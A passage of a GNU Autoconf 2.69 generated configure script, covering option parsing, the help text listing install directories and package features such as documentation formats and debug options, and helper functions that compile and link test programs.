ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=no ;; -docdir | --docdir | --docdi | --doc | --do) ac_prev=docdir ;; -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) docdir=$ac_optarg ;; -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) ac_prev=dvidir ;; -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) dvidir=$ac_optarg ;; -enable-* | --enable-*) ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid feature name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "enable_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval enable_$ac_useropt=\$ac_optarg ;; -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ | --exec | --exe | --ex) ac_prev=exec_prefix ;; -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ | --exec=* | --exe=* | --ex=*) exec_prefix=$ac_optarg ;; -gas | --gas | --ga | --g) # Obsolete; use --with-gas. with_gas=yes ;; -help | --help | --hel | --he | -h) ac_init_help=long ;; -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) ac_init_help=recursive ;; -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) ac_init_help=short ;; -host | --host | --hos | --ho) ac_prev=host_alias ;; -host=* | --host=* | --hos=* | --ho=*) host_alias=$ac_optarg ;; -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) ac_prev=htmldir ;; -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ | --ht=*) htmldir=$ac_optarg ;; -includedir | --includedir | --includedi | --included | --include \ | --includ | --inclu | --incl | --inc) ac_prev=includedir ;; -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ | --includ=* | --inclu=* | --incl=* | --inc=*) includedir=$ac_optarg ;; -infodir | --infodir | --infodi | --infod | --info | --inf) ac_prev=infodir ;; -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) infodir=$ac_optarg ;; -libdir | --libdir | --libdi | --libd) ac_prev=libdir ;; -libdir=* | --libdir=* | --libdi=* | --libd=*) libdir=$ac_optarg ;; -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ | --libexe | --libex | --libe) ac_prev=libexecdir ;; -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ | --libexe=* | --libex=* | --libe=*) libexecdir=$ac_optarg ;; -localedir | --localedir | --localedi | --localed | --locale) ac_prev=localedir ;; -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) localedir=$ac_optarg ;; -localstatedir | --localstatedir | --localstatedi | --localstated \ | --localstate | --localstat | --localsta | --localst | --locals) ac_prev=localstatedir ;; -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) localstatedir=$ac_optarg ;; -mandir | --mandir | --mandi | --mand | --man | --ma | --m) ac_prev=mandir ;; -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) mandir=$ac_optarg ;; -nfp | --nfp | --nf) # Obsolete; use --without-fp. with_fp=no ;; -no-create | --no-create | --no-creat | --no-crea | --no-cre \ | --no-cr | --no-c | -n) no_create=yes ;; -no-recursion | --no-recursion | --no-recursio | --no-recursi \ | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) no_recursion=yes ;; -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ | --oldin | --oldi | --old | --ol | --o) ac_prev=oldincludedir ;; -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) oldincludedir=$ac_optarg ;; -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) ac_prev=prefix ;; -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) prefix=$ac_optarg ;; -program-prefix | --program-prefix | --program-prefi | --program-pref \ | --program-pre | --program-pr | --program-p) ac_prev=program_prefix ;; -program-prefix=* | --program-prefix=* | --program-prefi=* \ | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) program_prefix=$ac_optarg ;; -program-suffix | --program-suffix | --program-suffi | --program-suff \ | --program-suf | --program-su | --program-s) ac_prev=program_suffix ;; -program-suffix=* | --program-suffix=* | --program-suffi=* \ | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) program_suffix=$ac_optarg ;; -program-transform-name | --program-transform-name \ | --program-transform-nam | --program-transform-na \ | --program-transform-n | --program-transform- \ | --program-transform | --program-transfor \ | --program-transfo | --program-transf \ | --program-trans | --program-tran \ | --progr-tra | --program-tr | --program-t) ac_prev=program_transform_name ;; -program-transform-name=* | --program-transform-name=* \ | --program-transform-nam=* | --program-transform-na=* \ | --program-transform-n=* | --program-transform-=* \ | --program-transform=* | --program-transfor=* \ | --program-transfo=* | --program-transf=* \ | --program-trans=* | --program-tran=* \ | --progr-tra=* | --program-tr=* | --program-t=*) program_transform_name=$ac_optarg ;; -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) ac_prev=pdfdir ;; -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) pdfdir=$ac_optarg ;; -psdir | --psdir | --psdi | --psd | --ps) ac_prev=psdir ;; -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) psdir=$ac_optarg ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) silent=yes ;; -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) ac_prev=sbindir ;; -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ | --sbi=* | --sb=*) sbindir=$ac_optarg ;; -sharedstatedir | --sharedstatedir | --sharedstatedi \ | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ | --sharedst | --shareds | --shared | --share | --shar \ | --sha | --sh) ac_prev=sharedstatedir ;; -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ | --sha=* | --sh=*) sharedstatedir=$ac_optarg ;; -site | --site | --sit) ac_prev=site ;; -site=* | --site=* | --sit=*) site=$ac_optarg ;; -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) ac_prev=srcdir ;; -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) srcdir=$ac_optarg ;; -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ | --syscon | --sysco | --sysc | --sys | --sy) ac_prev=sysconfdir ;; -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) sysconfdir=$ac_optarg ;; -target | --target | --targe | --targ | --tar | --ta | --t) ac_prev=target_alias ;; -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) target_alias=$ac_optarg ;; -v | -verbose | --verbose | --verbos | --verbo | --verb) verbose=yes ;; -version | --version | --versio | --versi | --vers | -V) ac_init_version=: ;; -with-* | --with-*) ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=\$ac_optarg ;; -without-* | --without-*) ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` # Reject names that are not valid shell variable names. expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && as_fn_error $? "invalid package name: $ac_useropt" ac_useropt_orig=$ac_useropt ac_useropt=`$as_echo "$ac_useropt" | sed 's/[-+.]/_/g'` case $ac_user_opts in *" "with_$ac_useropt" "*) ;; *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" ac_unrecognized_sep=', ';; esac eval with_$ac_useropt=no ;; --x) # Obsolete; use --with-x. with_x=yes ;; -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ | --x-incl | --x-inc | --x-in | --x-i) ac_prev=x_includes ;; -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) x_includes=$ac_optarg ;; -x-libraries | --x-libraries | --x-librarie | --x-librari \ | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) ac_prev=x_libraries ;; -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) x_libraries=$ac_optarg ;; -*) as_fn_error $? "unrecognized option: \`$ac_option' Try \`$0 --help' for more information" ;; *=*) ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` # Reject names that are not valid shell variable names. case $ac_envvar in #( '' | [0-9]* | *[!_$as_cr_alnum]* ) as_fn_error $? "invalid variable name: \`$ac_envvar'" ;; esac eval $ac_envvar=\$ac_optarg export $ac_envvar ;; *) # FIXME: should be removed in autoconf 3.0. $as_echo "$as_me: WARNING: you should use --build, --host, --target" >&2 expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && $as_echo "$as_me: WARNING: invalid host type: $ac_option" >&2 : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" ;; esac done if test -n "$ac_prev"; then ac_option=--`echo $ac_prev | sed 's/_/-/g'` as_fn_error $? "missing argument to $ac_option" fi if test -n "$ac_unrecognized_opts"; then case $enable_option_checking in no) ;; fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; *) $as_echo "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; esac fi # Check all directory arguments for consistency. for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ datadir sysconfdir sharedstatedir localstatedir includedir \ oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ libdir localedir mandir do eval ac_val=\$$ac_var # Remove trailing slashes. case $ac_val in */ ) ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` eval $ac_var=\$ac_val;; esac # Be sure to have absolute directory names. case $ac_val in [\\/$]* | ?:[\\/]* ) continue;; NONE | '' ) case $ac_var in *prefix ) continue;; esac;; esac as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" done # There might be people who depend on the old broken behavior: `$host' # used to hold the argument of --host etc. # FIXME: To remove some day. build=$build_alias host=$host_alias target=$target_alias # FIXME: To remove some day. if test "x$host_alias" != x; then if test "x$build_alias" = x; then cross_compiling=maybe elif test "x$build_alias" != "x$host_alias"; then cross_compiling=yes fi fi ac_tool_prefix= test -n "$host_alias" && ac_tool_prefix=$host_alias- test "$silent" = yes && exec 6>/dev/null ac_pwd=`pwd` && test -n "$ac_pwd" && ac_ls_di=`ls -di .` && ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || as_fn_error $? "working directory cannot be determined" test "X$ac_ls_di" = "X$ac_pwd_ls_di" || as_fn_error $? "pwd does not report name of working directory" # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then the parent directory. ac_confdir=`$as_dirname -- "$as_myself" || $as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_myself" : 'X\(//\)[^/]' \| \ X"$as_myself" : 'X\(//\)$' \| \ X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_myself" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` srcdir=$ac_confdir if test ! -r "$srcdir/$ac_unique_file"; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r "$srcdir/$ac_unique_file"; then test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" fi ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" ac_abs_confdir=`( cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" pwd)` # When building in place, set srcdir=. if test "$ac_abs_confdir" = "$ac_pwd"; then srcdir=. fi # Remove unnecessary trailing slashes from srcdir. # Double slashes in file names in object file debugging info # mess up M-x gdb in Emacs. case $srcdir in */) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; esac for ac_var in $ac_precious_vars; do eval ac_env_${ac_var}_set=\${${ac_var}+set} eval ac_env_${ac_var}_value=\$${ac_var} eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} eval ac_cv_env_${ac_var}_value=\$${ac_var} done # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures this package to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking ...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] --datadir=DIR read-only architecture-independent data [DATAROOTDIR] --infodir=DIR info documentation [DATAROOTDIR/info] --localedir=DIR locale-dependent data [DATAROOTDIR/locale] --mandir=DIR man documentation [DATAROOTDIR/man] --docdir=DIR documentation root [DATAROOTDIR/doc/PACKAGE] --htmldir=DIR html documentation [DOCDIR] --dvidir=DIR dvi documentation [DOCDIR] --pdfdir=DIR pdf documentation [DOCDIR] --psdir=DIR ps documentation [DOCDIR] _ACEOF cat <<\_ACEOF System types: --build=BUILD configure for building on BUILD [guessed] --host=HOST cross-compile to build programs to run on HOST [BUILD] _ACEOF fi if test -n "$ac_init_help"; then cat <<\_ACEOF Optional Features: --disable-option-checking ignore unrecognized --enable/--with options --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --disable-asm Disable assembly code --disable-doc-txt Disable plain text doc --disable-doc-html Disable HTML doc --disable-doc-man Disable man page --disable-doc-info Disable info page --disable-doc-ps Disable PostScript doc --disable-doc-pdf Disable PDF doc --enable-doc-php Enable php doc --enable-doc-uwc Enable UWiKiCMS doc --enable-debug Enable debug mode --enable-efence Enable electric fence --enable-static Enable static link --disable-host-opt Disable host specific optimizations Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CPP C preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. Report bugs to the package provider. _ACEOF ac_status=$? fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d "$ac_dir" || { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || continue ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix cd "$ac_dir" || { ac_status=$?; continue; } # Check for guested configure. if test -f "$ac_srcdir/configure.gnu"; then echo && $SHELL "$ac_srcdir/configure.gnu" --help=recursive elif test -f "$ac_srcdir/configure"; then echo && $SHELL "$ac_srcdir/configure" --help=recursive else $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi || ac_status=$? cd "$ac_pwd" || { ac_status=$?; break; } done fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF configure generated by GNU Autoconf 2.69 Copyright (C) 2012 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit fi ## ------------------------ ## ## Autoconf initialization. ## ## ------------------------ ## # ac_fn_c_try_compile LINENO # -------------------------- # Try to compile conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest.$ac_objext; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_compile # ac_fn_c_try_link LINENO # ----------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_link () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext conftest$ac_exeext if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest$ac_exeext && { test "$cross_compiling" = yes || test -x conftest$ac_exeext }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would # interfere with the next link command; also delete a directory that is # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_link # ac_fn_c_check_func LINENO FUNC VAR # ---------------------------------- # Tests whether FUNC exists, setting the cache variable VAR accordingly ac_fn_c_check_func () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ /* Define $2 to an innocuous variant, in case declares $2. For example, HP-UX 11i declares gettimeofday. */ #define $2 innocuous_$2 /* System header to define __stub macros and hopefully few prototypes, which can conflict with char $2 (); below. Prefer to if __STDC__ is defined, since exists even on freestanding compilers. */ #ifdef __STDC__ # include #else # include #endif #undef $2 /* Override any GCC internal prototype to avoid an error. Use char because int might match the return type of a GCC builtin and then its argument prototype would still apply. */ #ifdef __cplusplus extern "C" #endif char $2 (); /* The GNU C library defines this for functions which it implements to always fail with ENOSYS. Some functions are actually named something starting with __ and the normal name is an alias. */ #if defined __stub_$2 || defined __stub___$2 choke me #endif int main () { return $2 (); ; return 0; } _ACEOF if ac_fn_c_try_link "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext \ conftest$ac_exeext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_func # ac_fn_c_try_cpp LINENO # ---------------------- # Try to preprocess conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_cpp () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_cpp conftest.$ac_ext" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } > conftest.i && { test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || test ! -s conftest.err }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_cpp # ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists, giving a warning if it cannot be compiled using # the include files in INCLUDES and setting the cache variable VAR # accordingly. ac_fn_c_check_header_mongrel () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if eval \${$3+:} false; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } else # Is the header compilable? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 $as_echo_n "checking $2 usability... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_header_compiler=yes else ac_header_compiler=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 $as_echo "$ac_header_compiler" >&6; } # Is the header present? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 $as_echo_n "checking $2 presence... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include <$2> _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : ac_header_preproc=yes else ac_header_preproc=no fi rm -f conftest.err conftest.i conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 $as_echo "$ac_header_preproc" >&6; } # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( yes:no: ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 $as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; no:yes:* ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 $as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 $as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 $as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 $as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else eval "$3=\$ac_header_compiler" fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_mongrel # ac_fn_c_try_run LINENO # ---------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. Assumes # that executables *can* be run. ac_fn_c_try_run () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" 